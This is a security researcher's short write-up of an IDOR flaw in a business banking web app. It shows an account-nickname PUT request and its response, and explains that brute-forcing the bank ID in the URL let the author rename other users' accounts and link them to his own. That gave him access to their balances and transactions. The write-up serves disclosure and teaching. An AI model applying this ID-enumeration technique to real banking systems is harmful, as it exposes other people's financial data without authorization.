Insecure Direct Object References (IDOR) Exploit Enables Unauthorized Access to Linked Bank Accounts

- 2 mins


Target Information

The target is a web application designed to facilitate invoice tracking, bill payment, and other transactions for organizations. It functions as a business banking application.


Upon examining the application’s features, it was determined that the application is susceptible to an Insecure Direct Object References (IDOR) vulnerability. The vulnerability arises due to the application’s reliance on user-provided input in the URL and JSON objects within the request body to perform actions on its APIs.


Several endpoints were exploited to gain unauthorized access to other organizations’ users’ invoices, transaction details, and bills.

A noteworthy feature of the application allows users to link their bank accounts within the application. Upon merging accounts, the application generates a virtual bank account, such as the “ABC Virtual Bank Account” from “ABC Internet Bank.”

To facilitate easy identification of bank account details, the application offers a feature allowing users to rename their accounts with nicknames. The following request demonstrates this functionality:


PUT /connected_banking/12345 HTTP/2
Cookie: blah...blah...blah...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Te: trailers

	"bankid": 12345,
	"account_nickname": "thevillagehacker",
	"account_id": 1111,
	"company_id": 0000


HTTP/1.1 200 OK 
Access-Control-Allow-Origin: * 
Content-Type: application/json; charset=utf-8 
Set-Cookie: blah...blah...blah...; Path=/; HttpOnly 
X-Frame-Options: SAMEORIGIN 
X-Content-Type-Options: nosniff 
X-XSS-Protection: 1; mode=block 
Referrer-Policy: strict-origin-when-cross-origin 
Connection: close 
Strict-Transport-Security: max-age=31536000; includeSubDomains

	"abc_account_id": 12345,
	"account_nickname": "thevillagehacker",
	"account_id": 1111,
	"company_id": 0000,
	"current_balance": 10000.00

The above request illustrates that the application utilizes the bank ID from the URL and the JSON object in the request body. By brute-forcing the bankid, I was able to change the nicknames of other users’ bank accounts.

The IDOR vulnerability did not end there. Whenever I modified the nickname of users’ bank accounts, those accounts became linked to my “ABC Virtual Bank Account.” Consequently, I gained access to the bank account details, balances, transactions, and other information of these users.

Thank you for reading.

Follow me on Twitter: thevillagehacker

Naveen J

Naveen J

Security Researcher | Appsec Specialist@SISA Information Security | Web 3 Security Enthusiast